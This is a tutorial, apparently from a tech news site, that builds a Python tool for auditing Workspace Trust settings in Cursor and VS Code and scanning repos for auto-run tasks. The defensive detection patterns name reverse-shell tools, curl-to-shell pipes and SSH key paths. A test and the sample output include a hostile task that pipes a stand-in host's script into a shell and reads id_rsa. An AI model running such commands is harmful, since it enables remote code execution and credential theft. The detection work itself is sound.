Open a freshly cloned repo in Cursor and a task from its .vscode/tasks.json file can start running before you have read a single line of code. That gap is the most practical difference in the Cursor vs VSCode debate, and most comparisons skip it. It comes down to one setting that the two editors have historically handled differently: Workspace Trust.
VS Code ships with Workspace Trust switched on, and a third-party security summary dated late October 2026 says Restricted Mode limits tasks, terminals, debugging and some extensions in untrusted folders. The Cursor security guides we reviewed describe the same feature as off by default. If that holds on your build, every folder you open counts as trusted from the first second. This tutorial shows you how to measure that on your own machine instead of taking anyone’s word for it.
You will build trustaudit, a single-file Python tool with no dependencies. It audits both editors’ user settings, scans your repos for folder-open automation, hardens your settings without wiping your comments, and runs a harmless canary test that proves what each editor does. Our earlier network audit of both editors covered what leaves your machine. This one covers what runs on it.
Don't miss new tech stories on Google
Add Tech Insider once in the Google app and our stories appear in your news suggestions.
Why Cursor vs VSCode Differ on Workspace Trust
Cursor is a fork of the VS Code codebase, so it inherits the same settings files, the same tasks.json format and the same trust machinery. The difference sits in the defaults and in the product pressure around them. VS Code introduced Workspace Trust in version 1.57 back in 2021, and Microsoft keeps it on because a code editor runs project-defined commands all the time. Cursor sells an agent that edits, runs and tests code the moment you open a project, so a Restricted Mode that blocks tasks and terminals fights its main feature.
That tension explains the reported behavior. Security researchers described a proof of concept in which a task marked with runOptions.runOn = "folderOpen" executed on open in Cursor without the normal trust prompt, and Cursor reportedly chose to keep the default because enabling trust restricts features its users expect to work immediately. We found no confirmed change to that default in the sources we reviewed, but the lack of a documented change is not proof that none exists. That is why the tutorial ends with a canary test rather than a claim.
Scale matters here. The Stack Overflow 2025 Developer Survey found that 75.9% of respondents used Visual Studio Code regularly and 18% used Cursor. Even at 18%, that is a very large pool of developers who clone unfamiliar repositories every week. A cloned repo is untrusted input. Treating it that way costs you one setting.
What each setting controls
Six settings decide most of the outcome. The hardened column shows the value the tool writes. The defaults for the VS Code side come from its documentation, and you should confirm them in the Settings UI of your own build, because we could only fully confirm the first one on a fetched page.
| Setting | What it controls | Hardened value |
|---|---|---|
security.workspace.trust.enabled | Master switch for Workspace Trust. When false, every folder is treated as trusted. | true |
security.workspace.trust.startupPrompt | How often the trust dialog appears when you open a folder. | "always" |
security.workspace.trust.untrustedFiles | What happens when you open a loose file from an untrusted location. | "prompt" |
security.workspace.trust.banner | Whether the Restricted Mode banner stays visible. | "always" |
security.workspace.trust.emptyWindow | Whether an empty window gets trusted automatically. | false |
task.allowAutomaticTasks | Whether tasks marked folderOpen may start on their own. | "off" |
Cursor accepts the same setting names. Extension availability also differs between the two editors, which is a separate trust question that our extension parity audit walks through.
Prerequisites and Versions
A fair Cursor vs VSCode security check needs less than most tutorials ask for. The tool uses only the Python standard library, so there is nothing to install and nothing that can break on a Friday afternoon.
- Python 3.9 or newer. We built and tested on Python 3.12.3. The script uses
from __future__ import annotations, so the type hints run on older interpreters too. - Visual Studio Code, current stable build. Version 1.141 or newer is a safe floor. One source we checked reports 1.143.1 as the newest release, dated October 22, 2026, but treat that as single-source and read the number from Help, About on your machine.
- Cursor, current stable build. We could not confirm a newest Cursor desktop version number from official pages, so record yours from Cursor, About Cursor before you start.
- A terminal. macOS, Linux and Windows all work. On Windows, use
py -3wherever this tutorial sayspython3. - Both editors installed at least once, so each has created its
Usersettings folder. The tool handles a missing folder, but the canary test needs both editors. - Git (optional). Only the CI and pre-commit steps need it.
- About 45 minutes, most of it spent on the canary experiment and reading your own repos’ findings.
Where each editor keeps its settings
| OS | VS Code user folder | Cursor user folder |
|---|---|---|
| Linux | ~/.config/Code/User | ~/.config/Cursor/User |
| macOS | ~/Library/Application Support/Code/User | ~/Library/Application Support/Cursor/User |
| Windows | %APPDATA%\Code\User | %APPDATA%\Cursor\User |
Snap and Flatpak builds on Linux can store these files elsewhere. If the tool reports a missing file on a machine where you know settings exist, run Preferences: Open User Settings (JSON) from the Command Palette and read the path from the tab title.
What the Finished Audit Tool Does
The finished trustaudit.py runs 438 lines and exposes four commands. Each one answers a different question, and each exits with a code a CI job can read.
| Command | Question it answers | Exit codes |
|---|---|---|
settings | Are both editors’ user settings (including every profile) hardened? | 0 clean, 1 warnings, 2 a critical setting fails |
scan PATH | Which repos under PATH contain folder-open tasks, dev container commands, workspace overrides or MCP launchers? | 0 clean, 1 findings, 2 a HIGH finding |
harden | What would a safe settings block look like, and can you write it without losing comments? | 0 |
canary DIR | Does this editor actually run a folder-open task right now? | 0 blocked, 2 the task ran |
If you already keep one set of AI rules for both editors, the one-repo shared rules setup makes a good companion. Rules files tell an agent what to do, while trust settings decide what the editor may run before any agent starts.
The design follows one rule: report first, change later. harden prints a dry run unless you add --apply, and it copies your settings file to a timestamped backup before it writes anything. The scanner never executes the files it reads. It parses them as data and scores the command strings with pattern matching.
Here is the project layout you will end with:
trustaudit/
trustaudit.py # the whole tool, standard library only
test_trustaudit.py # five unit tests
demo/ # sample repos used for the first scan
canary/ # created by the canary command
Steps 1 to 4: Project Setup, Constants, JSONC Parser, Settings Audit
Step 1: Create the project folder
Make a working folder and confirm Python runs. Keep this folder outside any repo you plan to scan, so the scanner does not flag its own demo files later.
mkdir trustaudit && cd trustaudit
python3 --version
# expect: Python 3.9.x or newer (we used 3.12.3)
touch trustaudit.py test_trustaudit.py
Step 2: Define the settings, risk patterns and the Finding record
Start trustaudit.py with the constants. HARDENED is the target state, VSCODE_DEFAULTS holds the documented VS Code defaults, and CURSOR_ASSUMED deliberately assumes trust is off. That assumption is pessimistic on purpose. If your Cursor build ships with trust on, the audit will show an explicit user value after you harden it, and the canary test settles the argument either way.
#!/usr/bin/env python3
"""trustaudit: audit Workspace Trust and folder-open automation for VS Code and Cursor."""
from __future__ import annotations
import argparse
import json
import os
import platform
import re
import shutil
import sys
import time
from dataclasses import asdict, dataclass
from pathlib import Path
EDITOR_DIRS = {"vscode": "Code", "cursor": "Cursor"}
EDITOR_CLI = {"vscode": "code", "cursor": "cursor"}
# Documented VS Code defaults. Verify against Settings UI on your build.
VSCODE_DEFAULTS = {
"security.workspace.trust.enabled": True,
"security.workspace.trust.startupPrompt": "once",
"security.workspace.trust.untrustedFiles": "prompt",
"security.workspace.trust.banner": "untilDismissed",
"security.workspace.trust.emptyWindow": True,
"task.allowAutomaticTasks": "auto",
}
# Cursor reportedly ships with Workspace Trust off. Treated as an assumption, not a fact.
CURSOR_ASSUMED = dict(VSCODE_DEFAULTS, **{"security.workspace.trust.enabled": False})
HARDENED = {
"security.workspace.trust.enabled": True,
"security.workspace.trust.startupPrompt": "always",
"security.workspace.trust.untrustedFiles": "prompt",
"security.workspace.trust.banner": "always",
"security.workspace.trust.emptyWindow": False,
"task.allowAutomaticTasks": "off",
}
CRITICAL_KEYS = {"security.workspace.trust.enabled", "task.allowAutomaticTasks"}
RISKY = [
(r"\b(curl|wget)\b[^\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", "pipes a download into a shell", 5),
(r"(?i)\b(powershell|pwsh)\b[^\n]*(-enc\b|-encodedcommand\b)", "encoded PowerShell", 5),
(r"(?i)\bbase64\b[^\n]*(-d\b|--decode|-decode)", "base64 decode", 4),
(r"/dev/tcp/", "bash TCP socket", 5),
(r"\b(nc|ncat|netcat)\b", "netcat", 4),
(r"\beval\b", "eval", 3),
(r"(?i)\b(curl|wget|Invoke-WebRequest|iwr|irm)\b", "network fetch", 3),
(r"(?i)(~/\.ssh|\.aws/credentials|\.npmrc|id_rsa|\.git-credentials)", "touches credentials", 4),
(r"(?i)\b(crontab|launchctl|schtasks|systemctl\s+--user)\b", "persistence mechanism", 5),
(r"(?i)\b(npm|pnpm|yarn)\s+(install|i|ci|add)\b|\bpip3?\s+install\b", "package install (lifecycle scripts)", 2),
(r"(?i)\brm\s+-rf\b|Remove-Item[^\n]*-Recurse", "recursive delete", 3),
(r"(?i)\.(sh|ps1|bat|cmd)\b", "runs a script file", 1),
]
DEVCONTAINER_KEYS = [
"initializeCommand",
"onCreateCommand",
"updateContentCommand",
"postCreateCommand",
"postStartCommand",
"postAttachCommand",
]
PRUNE = {".git", "node_modules", ".venv", "venv", "__pycache__", "dist", "build", "target", ".next"}
EXEC_SETTING = re.compile(r"(?i)(executablePath|interpreterPath|exePath|binPath|terminal\.integrated\.(shell|automationProfile))")
@dataclass
class Finding:
severity: str
kind: str
path: str
detail: str
score: int = 0
The RISKY list is the scoring brain. Each pattern carries a weight, and the weights add up. A pipe from curl into a shell scores 5 on its own, while a bare script reference scores 1. The next table shows every rule so you can tune them to your team.
| Pattern | Label in output | Weight |
|---|---|---|
| curl or wget piped into sh, bash or zsh | pipes a download into a shell | 5 |
| PowerShell with -enc or -EncodedCommand | encoded PowerShell | 5 |
| /dev/tcp/ socket | bash TCP socket | 5 |
| crontab, launchctl, schtasks, systemctl –user | persistence mechanism | 5 |
| base64 with a decode flag | base64 decode | 4 |
| nc, ncat, netcat | netcat | 4 |
| ~/.ssh, .aws/credentials, .npmrc, id_rsa, .git-credentials | touches credentials | 4 |
| eval | eval | 3 |
| curl, wget, Invoke-WebRequest, iwr, irm | network fetch | 3 |
| rm -rf or Remove-Item -Recurse | recursive delete | 3 |
| npm, pnpm or yarn install, pip install | package install (lifecycle scripts) | 2 |
| .sh, .ps1, .bat, .cmd file reference | runs a script file | 1 |
Severity comes from a base value plus the score. A folder-open task starts at 2, so even a harmless npm run watch lands at MEDIUM. A score of 5 or more total means HIGH. That is intentionally noisy, because an unreviewed auto-run task deserves a human glance.
Step 3: Parse settings files that contain comments
VS Code and Cursor store settings as JSONC, which allows comments and trailing commas. Python’s json module rejects both. The small state machine below strips them without touching text inside strings, which matters because a URL such as http://example.com contains a double slash.
def strip_jsonc(text: str) -> str:
"""Remove // and /* */ comments and trailing commas without touching string contents."""
out: list[str] = []
i, n, in_str = 0, len(text), False
while i < n:
c = text[i]
if in_str:
out.append(c)
if c == "\\" and i + 1 < n:
out.append(text[i + 1])
i += 2
continue
if c == '"':
in_str = False
i += 1
continue
if c == '"':
in_str = True
out.append(c)
i += 1
elif text.startswith("//", i):
while i < n and text[i] != "\n":
i += 1
elif text.startswith("/*", i):
j = text.find("*/", i + 2)
i = n if j == -1 else j + 2
else:
out.append(c)
i += 1
s = "".join(out)
res: list[str] = []
i, n, in_str = 0, len(s), False
while i < n:
c = s[i]
if in_str:
res.append(c)
if c == "\\" and i + 1 < n:
res.append(s[i + 1])
i += 2
continue
if c == '"':
in_str = False
i += 1
continue
if c == '"':
in_str = True
if c == ",":
j = i + 1
while j < n and s[j] in " \t\r\n":
j += 1
if j < n and s[j] in "}]":
i += 1
continue
res.append(c)
i += 1
return "".join(res)
def load_jsonc(path: Path):
return json.loads(strip_jsonc(path.read_text(encoding="utf-8-sig")))
The function makes two passes. The first removes comments while tracking whether it sits inside a string. The second removes trailing commas using the same string tracking. A regex shortcut would corrupt any string that happens to contain , }, and the unit test in Step 11 checks exactly that case.
Step 4: Locate settings files and audit them
Now teach the tool where each editor keeps its files. It also looks inside the profiles folder, because both editors support settings profiles and the active profile can override your default file. Missing this folder is the most common reason an audit says “clean” while the editor behaves otherwise.
def user_dir(editor: str) -> Path:
name = EDITOR_DIRS[editor]
system = platform.system()
if system == "Windows":
return Path(os.environ.get("APPDATA", str(Path.home()))) / name / "User"
if system == "Darwin":
return Path.home() / "Library" / "Application Support" / name / "User"
return Path(os.environ.get("XDG_CONFIG_HOME", str(Path.home() / ".config"))) / name / "User"
def settings_files(editor: str, base: Path | None = None) -> list[Path]:
root = base or user_dir(editor)
files = [root / "settings.json"]
profiles = root / "profiles"
if profiles.is_dir():
files += sorted(profiles.glob("*/settings.json"))
return files
The settings command compares the effective value (your value, or the default) with the hardened target. Two keys count as critical: the master switch and the automatic-task setting. A mismatch on those returns FAIL and exit code 2, while a mismatch elsewhere returns WARN.
def effective(editor: str, user_settings: dict) -> dict:
base = VSCODE_DEFAULTS if editor == "vscode" else CURSOR_ASSUMED
return {k: user_settings.get(k, base[k]) for k in HARDENED}
def cmd_settings(_args) -> int:
worst = 0
for editor in EDITOR_DIRS:
cli = shutil.which(EDITOR_CLI[editor]) or "not on PATH"
print(f"\n== {editor} (CLI: {cli})")
for path in settings_files(editor):
if not path.exists():
print(f" {path} (missing, defaults apply)")
user = {}
else:
try:
user = load_jsonc(path)
except json.JSONDecodeError as exc:
print(f" {path} UNPARSABLE: {exc}")
worst = max(worst, 1)
continue
print(f" {path}")
eff = effective(editor, user)
print(f" {'setting':<42}{'effective':<18}{'hardened':<10}status")
for key, want in HARDENED.items():
got, src = eff[key], ("user" if key in user else "default")
ok = got == want
status = "OK" if ok else ("FAIL" if key in CRITICAL_KEYS else "WARN")
worst = max(worst, 0 if ok else 2 if status == "FAIL" else 1)
print(f" {key:<42}{json.dumps(got):<18}{json.dumps(want):<10}{status} ({src})")
return worst
Steps 5 to 8: Scanners for Tasks, Dev Containers, Settings and MCP
Step 5: Find folder-open tasks and follow their dependencies
A task does not need to hold the dangerous command itself. It can declare dependsOn and hand the work to a second task that looks innocent in isolation. The scanner therefore collects the text of the whole dependency chain before it scores anything. It also reads the windows, linux and osx overrides, since an attacker can hide the real command in a platform block that your own OS never shows you at a glance.
def score_text(text: str) -> tuple[int, list[str]]:
score, hits = 0, []
for pattern, label, weight in RISKY:
if re.search(pattern, text):
score += weight
hits.append(label)
return score, hits
def severity(base: int, score: int) -> str:
total = base + score
return "HIGH" if total >= 5 else "MEDIUM" if total >= 2 else "LOW"
def flatten_commands(value) -> list[str]:
if isinstance(value, str):
return [value]
if isinstance(value, list):
return [s for v in value for s in flatten_commands(v)]
if isinstance(value, dict):
return [s for v in value.values() for s in flatten_commands(v)]
return []
def task_text(task: dict) -> str:
parts = flatten_commands(task.get("command", "")) + flatten_commands(task.get("args", []))
for plat in ("windows", "linux", "osx"):
sub = task.get(plat)
if isinstance(sub, dict):
parts += flatten_commands(sub.get("command", "")) + flatten_commands(sub.get("args", []))
return " ".join(parts)
def depends_on(task: dict) -> list[str]:
dep = task.get("dependsOn", [])
dep = [dep] if isinstance(dep, (str, dict)) else dep
return [d["task"] if isinstance(d, dict) else d for d in dep if d]
def scan_tasks(path: Path) -> list[Finding]:
data = load_jsonc(path)
tasks = data.get("tasks", []) if isinstance(data, dict) else []
by_label = {t.get("label"): t for t in tasks if isinstance(t, dict)}
found = []
for t in tasks:
if not isinstance(t, dict) or (t.get("runOptions") or {}).get("runOn") != "folderOpen":
continue
text, seen, queue = task_text(t), {t.get("label")}, depends_on(t)
while queue:
label = queue.pop()
if label in seen or label not in by_label:
continue
seen.add(label)
text += " " + task_text(by_label[label])
queue += depends_on(by_label[label])
score, hits = score_text(text)
detail = f"task '{t.get('label')}' runs on folder open: {text.strip()[:90]}"
if hits:
detail += " [" + ", ".join(hits) + "]"
found.append(Finding(severity(2, score), "folderOpen task", str(path), detail, score))
return found
Notice the seen set. Without it, two tasks that depend on each other would send the loop around forever. Task files from the wild contain stranger things than that.
Step 6: Flag dev container lifecycle commands
Dev containers have their own auto-run hooks. Most of them run inside the container, but initializeCommand runs on your host machine before the container exists, so the scanner gives it a higher base score. Here you only need to know which commands fire without a click.
def scan_devcontainer(path: Path) -> list[Finding]:
data = load_jsonc(path)
found = []
for key in DEVCONTAINER_KEYS:
if key not in (data or {}):
continue
text = " ".join(flatten_commands(data[key]))
score, hits = score_text(text)
base = 3 if key == "initializeCommand" else 1
where = "on your HOST" if key == "initializeCommand" else "in the container"
detail = f"{key} runs {where}: {text.strip()[:90]}"
if hits:
detail += " [" + ", ".join(hits) + "]"
found.append(Finding(severity(base, score), "devcontainer command", str(path), detail, score))
return found
Step 7: Catch workspace settings that point at executables, and MCP launchers
Two more files can start processes. A workspace settings.json can point a language tool’s executablePath at a binary inside the repo. And an MCP config, whether .cursor/mcp.json or .vscode/mcp.json, defines commands the editor launches once you enable the server. The scanner reads the mcpServers key used by Cursor and the servers key used by VS Code. Cursor hooks follow the same pattern of project files that run commands for you, and our Cursor hooks extension tutorial shows how they work, so add them to your review list.
def scan_workspace_settings(path: Path) -> list[Finding]:
data = load_jsonc(path)
found = []
for key, value in (data or {}).items():
if key.startswith("security.workspace.trust") or key == "task.allowAutomaticTasks":
found.append(Finding("MEDIUM", "trust override", str(path), f"workspace sets {key}={value!r}"))
elif EXEC_SETTING.search(key) and isinstance(value, str) and (
"${workspaceFolder}" in value or value.startswith(("./", "../", "."))
):
found.append(Finding("MEDIUM", "workspace executable", str(path), f"{key} points inside the repo: {value}"))
return found
def scan_mcp(path: Path) -> list[Finding]:
data = load_jsonc(path)
servers = (data or {}).get("mcpServers") or (data or {}).get("servers") or {}
found = []
for name, cfg in servers.items():
if isinstance(cfg, dict) and cfg.get("command"):
text = " ".join(flatten_commands([cfg.get("command"), cfg.get("args", [])]))
score, hits = score_text(text)
detail = f"MCP server '{name}' starts: {text.strip()[:90]}"
if hits:
detail += " [" + ", ".join(hits) + "]"
found.append(Finding(severity(1, score), "MCP process", str(path), detail, score))
return found
A workspace file that sets the trust settings themselves gets a MEDIUM finding. A repo has no business telling your editor how much to trust the repo.
Step 8: Walk a directory tree and print findings
The walker prunes folders such as node_modules and .git, limits depth to four levels by default, and dispatches each known file to its scanner. A parse failure becomes a LOW finding instead of a crash, so one broken file never hides the other hundred.
SCANNERS = {
(".vscode", "tasks.json"): scan_tasks,
(".vscode", "settings.json"): scan_workspace_settings,
(".vscode", "mcp.json"): scan_mcp,
(".cursor", "mcp.json"): scan_mcp,
(".devcontainer", "devcontainer.json"): scan_devcontainer,
}
def scan_tree(root: Path, max_depth: int = 4) -> tuple[list[Finding], int]:
findings, files = [], 0
root = root.resolve()
for dirpath, dirnames, filenames in os.walk(root):
depth = len(Path(dirpath).relative_to(root).parts)
dirnames[:] = [d for d in dirnames if d not in PRUNE and depth < max_depth]
here = Path(dirpath)
targets = [(SCANNERS.get((here.name, f)), here / f) for f in filenames]
if ".devcontainer.json" in filenames:
targets.append((scan_devcontainer, here / ".devcontainer.json"))
for fn, full in targets:
if fn is None:
continue
files += 1
try:
findings += fn(full)
except (json.JSONDecodeError, OSError) as exc:
findings.append(Finding("LOW", "unparsable", str(full), f"could not parse: {exc}"))
order = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda f: (order[f.severity], f.path))
return findings, files
def cmd_scan(args) -> int:
findings, files = scan_tree(Path(args.path), args.max_depth)
if args.json:
print(json.dumps([asdict(f) for f in findings], indent=2))
else:
print(f"scanned {files} config files under {args.path}")
for f in findings:
print(f"[{f.severity:<6}] {f.kind:<20} {f.path}\n {f.detail}")
print(f"{len(findings)} finding(s)")
if any(f.severity == "HIGH" for f in findings):
return 2
return 1 if findings else 0
Steps 9 and 10: Hardening Writer and the Canary Test
Step 9: Write hardened settings without destroying comments
The obvious way to edit settings is to load the JSON, change keys and dump it back. That deletes every comment you ever wrote. The writer below patches the text instead. It replaces a value in place when the key exists, or inserts the key right after the opening brace when it does not. It then re-parses the result as a safety check before touching the disk, and it saves a timestamped backup first.
def patch_settings_text(text: str, wanted: dict) -> str:
for key, value in reversed(list(wanted.items())):
pattern = re.compile(r'("' + re.escape(key) + r'"\s*:\s*)(true|false|"[^"\n]*")')
if pattern.search(text):
text = pattern.sub(lambda m: m.group(1) + json.dumps(value), text, count=1)
continue
head, _, rest = text.partition("{")
comma = "," if strip_jsonc(rest).strip().rstrip("}").strip() else ""
text = head + "{\n " + json.dumps(key) + ": " + json.dumps(value) + comma + rest
return text
def cmd_harden(args) -> int:
editors = list(EDITOR_DIRS) if args.editor == "both" else [args.editor]
for editor in editors:
path = Path(args.settings_file) if args.settings_file else settings_files(editor)[0]
old = path.read_text(encoding="utf-8-sig") if path.exists() else "{}\n"
new = patch_settings_text(old, HARDENED)
json.loads(strip_jsonc(new))
if new == old:
print(f"{editor}: already hardened ({path})")
continue
if not args.apply:
print(f"{editor}: would update {path} (re-run with --apply)")
continue
path.parent.mkdir(parents=True, exist_ok=True)
if path.exists():
backup = path.with_name(f"{path.name}.bak-{time.strftime('%Y%m%d-%H%M%S')}")
shutil.copy2(path, backup)
print(f"{editor}: backup {backup}")
path.write_text(new, encoding="utf-8")
print(f"{editor}: hardened {path}")
return 0
Inserting at the top of the object keeps the result valid whether the file holds ten keys or none. The function adds a comma only when something follows. If you manage settings across several machines, the settings sync walkthrough for Cursor and VS Code shows how to push one hardened block everywhere.
Step 10: Build a harmless canary
A canary is a repo whose only job is to prove a behavior. This one holds a single folder-open task that writes the word canary-ran into a text file. It reads nothing, sends nothing and deletes nothing. If that file exists after you open the folder, the editor ran the task without stopping you.
CANARY_TASKS = {
"version": "2.0.0",
"tasks": [
{
"label": "trustaudit-canary",
"type": "shell",
"command": "echo canary-ran > CANARY_RAN.txt",
"options": {"cwd": "${workspaceFolder}"},
"runOptions": {"runOn": "folderOpen"},
"problemMatcher": [],
}
],
}
def cmd_canary(args) -> int:
root = Path(args.dir)
marker = root / "CANARY_RAN.txt"
if args.check:
if marker.exists():
print(f"RAN: {marker} exists, the folder-open task executed in that editor")
return 2
print("NOT RAN: no marker file, the task was blocked or never started")
return 0
if args.reset:
marker.unlink(missing_ok=True)
print("marker removed")
return 0
(root / ".vscode").mkdir(parents=True, exist_ok=True)
(root / ".vscode" / "tasks.json").write_text(json.dumps(CANARY_TASKS, indent=2) + "\n", encoding="utf-8")
marker.unlink(missing_ok=True)
print(f"canary repo ready: {root}\nopen it in one editor, wait 10 seconds, then run: trustaudit.py canary {root} --check")
return 0
Use the --check flag after each test and --reset before the next one. The check exits with code 2 when the task ran, so you can drop it into a script.
Steps 11 to 13: CLI, First Run and CI Gate
Step 11: Wire up the command line and add tests
The entry point registers the four sub-commands. Both harden and settings work from the terminal without opening an editor, which also means they work over SSH and inside CI. If you prefer to drive each editor from a shell, our guide to the Cursor and VS Code command-line interfaces covers both.
def main(argv=None) -> int:
p = argparse.ArgumentParser(description=__doc__)
sub = p.add_subparsers(dest="cmd", required=True)
sub.add_parser("settings", help="audit user settings for both editors").set_defaults(fn=cmd_settings)
s = sub.add_parser("scan", help="scan repos for folder-open automation")
s.add_argument("path")
s.add_argument("--max-depth", type=int, default=4)
s.add_argument("--json", action="store_true")
s.set_defaults(fn=cmd_scan)
h = sub.add_parser("harden", help="write hardened trust settings")
h.add_argument("--editor", choices=["vscode", "cursor", "both"], default="both")
h.add_argument("--settings-file")
h.add_argument("--apply", action="store_true")
h.set_defaults(fn=cmd_harden)
c = sub.add_parser("canary", help="create or check the harmless canary repo")
c.add_argument("dir")
c.add_argument("--check", action="store_true")
c.add_argument("--reset", action="store_true")
c.set_defaults(fn=cmd_canary)
args = p.parse_args(argv)
return args.fn(args)
if __name__ == "__main__":
sys.exit(main())
Then add the five unit tests. They cover comment stripping with tricky strings, a folder-open task whose danger hides in a dependency, a manual task that must not be flagged, comment preservation in the patcher, and the Cursor assumption.
import json
from pathlib import Path
import trustaudit as t
def test_strip_jsonc_keeps_urls_and_commas_in_strings():
src = '{ // c\n "u": "http://a.b/*x*/, }", /* k */ "n": [1,2,], }'
assert json.loads(t.strip_jsonc(src)) == {"u": "http://a.b/*x*/, }", "n": [1, 2]}
def test_folder_open_task_flagged_with_dependency(tmp_path: Path):
d = tmp_path / ".vscode"; d.mkdir()
(d / "tasks.json").write_text(json.dumps({"tasks": [
{"label": "a", "command": "echo ok", "runOptions": {"runOn": "folderOpen"}, "dependsOn": "b"},
{"label": "b", "command": "curl http://x | sh"}]}))
f, n = t.scan_tree(tmp_path)
assert n == 1 and f[0].severity == "HIGH"
def test_manual_task_ignored(tmp_path: Path):
d = tmp_path / ".vscode"; d.mkdir()
(d / "tasks.json").write_text(json.dumps({"tasks": [{"label": "a", "command": "ls"}]}))
assert t.scan_tree(tmp_path)[0] == []
def test_patch_settings_preserves_comments():
old = '{\n // keep me\n "task.allowAutomaticTasks": "auto",\n "editor.fontSize": 14\n}\n'
new = t.patch_settings_text(old, t.HARDENED)
assert "// keep me" in new
data = json.loads(t.strip_jsonc(new))
assert data["task.allowAutomaticTasks"] == "off" and data["security.workspace.trust.enabled"] is True
assert data["editor.fontSize"] == 14
def test_cursor_assumed_off():
assert t.effective("cursor", {})["security.workspace.trust.enabled"] is False
assert t.effective("vscode", {})["security.workspace.trust.enabled"] is True
Run them with python3 -m pytest -q if you have pytest. The standard library alone also works: import the module and call each test_ function, passing a temporary folder where the signature asks for one.
Step 12: Run the first audit and the canary experiment
Start with the user settings. The sample below comes from a test machine where the VS Code file already set task.allowAutomaticTasks to "auto" and the Cursor file did not exist.
python3 trustaudit.py settings
== vscode (CLI: not on PATH)
~/.config/Code/User/settings.json
setting effective hardened status
security.workspace.trust.enabled true true OK (default)
security.workspace.trust.startupPrompt "once" "always" WARN (default)
security.workspace.trust.untrustedFiles "prompt" "prompt" OK (default)
security.workspace.trust.banner "untilDismissed" "always" WARN (default)
security.workspace.trust.emptyWindow true false WARN (default)
task.allowAutomaticTasks "auto" "off" FAIL (user)
== cursor (CLI: not on PATH)
~/.config/Cursor/User/settings.json (missing, defaults apply)
setting effective hardened status
security.workspace.trust.enabled false true FAIL (default)
security.workspace.trust.startupPrompt "once" "always" WARN (default)
security.workspace.trust.untrustedFiles "prompt" "prompt" OK (default)
security.workspace.trust.banner "untilDismissed" "always" WARN (default)
security.workspace.trust.emptyWindow true false WARN (default)
task.allowAutomaticTasks "auto" "off" FAIL (default)
Now run the dry run, apply it, and audit again. The backup line proves the original file survived.
python3 trustaudit.py harden
vscode: would update ~/.config/Code/User/settings.json (re-run with --apply)
cursor: would update ~/.config/Cursor/User/settings.json (re-run with --apply)
python3 trustaudit.py harden --apply
vscode: backup ~/.config/Code/User/settings.json.bak-20261028-103000
vscode: hardened ~/.config/Code/User/settings.json
cursor: hardened ~/.config/Cursor/User/settings.json
Next, scan a folder of repos. The sample folder holds a benign watcher, a hostile-looking repo and an MCP config. Point the tool at your real projects folder when you are ready.
python3 trustaudit.py scan demo
scanned 5 config files under demo
[HIGH ] folderOpen task ~/trustaudit/demo/sketchy-repo/.vscode/tasks.json
task 'setup' runs on folder open: curl -s https://example.invalid/i.sh | sh cat ~/.ssh/id_rsa [pipes a download into a shell, network fetch, touches credentials, runs a script file]
[MEDIUM] folderOpen task ~/trustaudit/demo/benign-app/.vscode/tasks.json
task 'watch' runs on folder open: npm run watch
[MEDIUM] devcontainer command ~/trustaudit/demo/sketchy-repo/.devcontainer/devcontainer.json
initializeCommand runs on your HOST: echo hi && ./scripts/host-setup.sh [runs a script file]
[MEDIUM] devcontainer command ~/trustaudit/demo/sketchy-repo/.devcontainer/devcontainer.json
postCreateCommand runs in the container: npm ci [package install (lifecycle scripts)]
[MEDIUM] trust override ~/trustaudit/demo/sketchy-repo/.vscode/settings.json
workspace sets task.allowAutomaticTasks='on'
[MEDIUM] workspace executable ~/trustaudit/demo/sketchy-repo/.vscode/settings.json
php.validate.executablePath points inside the repo: ./bin/php
[LOW ] MCP process ~/trustaudit/demo/mcp-repo/.cursor/mcp.json
MCP server 'files' starts: npx -y @modelcontextprotocol/server-filesystem .
7 finding(s)
Finally, run the canary experiment. Do it once per editor, and do it before you harden, so you see the default behavior. Then repeat after hardening to see the difference.
- Create the canary:
python3 trustaudit.py canary canary - Open the
canaryfolder in VS Code. If a trust dialog appears, choose No, I don’t trust the authors. Wait 10 seconds. If an “allow automatic tasks” prompt appears, decline it. - Check:
python3 trustaudit.py canary canary --check. Record the result. - Reset:
python3 trustaudit.py canary canary --reset. Close the window. - Repeat steps 2 to 4 in Cursor. If no dialog appears at all, that tells you the trust prompt is not firing.
- Run
harden --apply, restart both editors, and repeat the whole experiment.
The tool returns one of two lines. In a Cursor vs VSCode test, the two editors may give different answers, and your results may differ from other people’s because your build, your profile and your earlier “trust this folder” clicks all feed into the answer.
NOT RAN: no marker file, the task was blocked or never started
RAN: canary-demo/CANARY_RAN.txt exists, the folder-open task executed in that editor
Step 13: Add a CI gate and a pre-commit hook
Scanning your own repos catches mistakes before a teammate opens them. The workflow below fails the build only on HIGH findings (exit code 2), which keeps it quiet for a team that deliberately ships a npm run watch task.
name: trustaudit
on:
pull_request:
paths:
- ".vscode/**"
- ".cursor/**"
- ".devcontainer/**"
- ".devcontainer.json"
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Scan editor automation
run: |
python3 tools/trustaudit.py scan . --json > trustaudit.json || code=$?
cat trustaudit.json
if [ "${code:-0}" -ge 2 ]; then exit 1; fi
For a local guard, add a Git pre-commit hook. It blocks a commit that touches editor config files when the scan reports HIGH.
#!/bin/sh
# .git/hooks/pre-commit (chmod +x)
if git diff --cached --name-only | grep -E '^\.(vscode|cursor|devcontainer)' >/dev/null; then
python3 tools/trustaudit.py scan . >/dev/null
if [ $? -ge 2 ]; then
echo "trustaudit: HIGH finding in editor config, commit blocked"
exit 1
fi
fi
Expected Output and How to Read It
Read the scan output top to bottom, because findings sort by severity and then path. The first block in the sample run is the one that matters.
- HIGH, folderOpen task: the
setuptask pipes a download into a shell, and its dependency reads a private SSH key. Total score 13. Never open this repo in a trusted window. - MEDIUM, folderOpen task: a plain
npm run watch. Probably fine, but a human should confirm that the script it calls is yours. - MEDIUM, devcontainer command:
initializeCommandruns on your host, which is why a script reference there ranks above the same script inside the container. - MEDIUM, trust override and workspace executable: the repo tries to loosen automatic tasks and points a PHP validator at a binary it ships. Both deserve a review.
- LOW, MCP process: a filesystem MCP server launched through
npx. Normal for an MCP project, but note that it downloads and runs a package.
The JSON mode returns the same data for dashboards. Each record carries severity, kind, path, detail and the numeric score.
[
{
"severity": "HIGH",
"kind": "folderOpen task",
"path": "~/trustaudit/demo/sketchy-repo/.vscode/tasks.json",
